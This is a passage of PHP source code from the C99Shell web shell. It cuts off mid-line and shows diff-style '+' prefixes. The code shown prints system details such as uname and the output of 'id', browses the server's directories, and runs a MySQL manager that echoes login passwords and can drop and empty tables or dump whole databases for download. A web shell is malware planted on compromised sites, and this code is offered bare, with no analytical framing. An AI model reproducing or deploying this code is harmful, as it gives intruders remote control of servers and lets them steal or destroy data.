#800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}button{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}select{background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}option {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}iframe {background-color: #800000; font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666;}p {MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px; LINE-HEIGHT: 150%}blockquote{ font-size: 8pt; font-family: Courier, Fixed, Arial; border : 8px solid #A9A9A9; padding: 1em; margin-top: 1em; margin-bottom: 5em; margin-right: 3em; margin-left: 4em; background-color: #B7B2B0;}body,td,th { font-family: verdana; color: #d9d9d9; font-size: 11px;}body { background-color: #000000;}</style></head><BODY text=#ffffff bottomMargin=0 bgColor=#000000 leftMargin=0 topMargin=0 rightMargin=0 marginheight=0 marginwidth=0><center><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><th width="101%" height="15" nowrap bordercolor="#C0C0C0" valign="top" colspan="2"><p><font face=Webdings size=6><b>!</b></font><a href="<?php echo $surl; ?>"><font face="Verdana" size="5"><b>C99Shell v. <?php echo $shver; ?></b></font></a><font face=Webdings size=6><b>!</b></font></p></center></th></tr><tr><td><p align="left"><b>Software:&nbsp;<?php echo $DISP_SERVER_SOFTWARE; ?></b>&nbsp;</p><p align="left"><b>uname -a:&nbsp;<?php echo wordwrap(php_uname(),90,"<br>",1); ?></b>&nbsp;</p><p align="left"><b><?php if (!$win) {echo wordwrap(myshellexec("id"),90,"<br>",1);} else {echo get_current_user();} ?></b>&nbsp;</p><p align="left"><b>Safe-mode:&nbsp;<?php echo $hsafemode; ?></b></p><p align="left"><?php +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);} +$d = str_replace("\\",DIRECTORY_SEPARATOR,$d); +if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} +$d = str_replace("\\\\","\\",$d); +$dispd = htmlspecialchars($d); +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) +{ + $t = ""; + $j = 0; + foreach ($e as $r) + { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) {break;} + $j++; + } + echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><b>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</b></a>"; + $i++; +} +echo "&nbsp;&nbsp;&nbsp;"; +if (is_writable($d)) +{ + $wd = true; + $wdt = "<font color=green>[ ok ]</font>"; + echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>"; +} +else +{ + $wd = false; + $wdt = "<font color=red>[ Read-Only ]</font>"; + echo "<b>".view_perms_color($d)."</b>"; +} +if (is_callable("disk_free_space")) +{ + $free = disk_free_space($d); + $total = disk_total_space($d); + if ($free === false) {$free = 0;} + if ($total === false) {$total = 0;} + if ($free < 0) {$free = 0;} + if ($total < 0) {$total = 0;} + $used = $total-$free; + $free_percent = round(100/($total/$free),2); + echo "<br><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>"; +} +echo "<br>"; +$letters = ""; +if ($win) +{ + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("a","z") as $letter) + { + $bool = $isdiskette = in_array($letter,$safemode_diskettes); + if (!$bool) {$bool = is_dir($letter.":\\");} + if ($bool) + { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<font color=green>".$letter."</font>";} + $letters .= " ]</a> "; + } + } + if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br>";} +} +if (count($quicklaunch) > 0) +{ + foreach($quicklaunch as $item) + { + $item[1] = str_replace("%d",urlencode($d),$item[1]); + $item[1] = str_replace("%sort",$sort,$item[1]); + $v = realpath($d.".."); + if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} + $item[1] = str_replace("%upd",urlencode($v),$item[1]); + echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;"; + } +} +echo "</p></td></tr></table><br>"; +if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">".$donated_html."</td></tr></table><br>";} +echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width=\"100%\" valign=\"top\">"; +if ($act == "") {$act = $dspact = "ls";} +if ($act == "sql") +{ + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + ?><h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><tr><td width="100%" height="1" colspan="2" valign="top"><center><?php + if ($sql_server) + { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = false;} + echo "<b>SQL Manager:</b><br>"; + if (!$sql_sock) + { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";} + } + else + { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br>"; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}} + echo "</center>"; + } + echo "</td></tr><tr>"; + if (!$sql_sock) {?><td width="28%" height="100" valign="top"><center><font size="5"> i </font></center><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><tr><td>&nbsp;<b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = true; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = false; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = true; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = true; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a 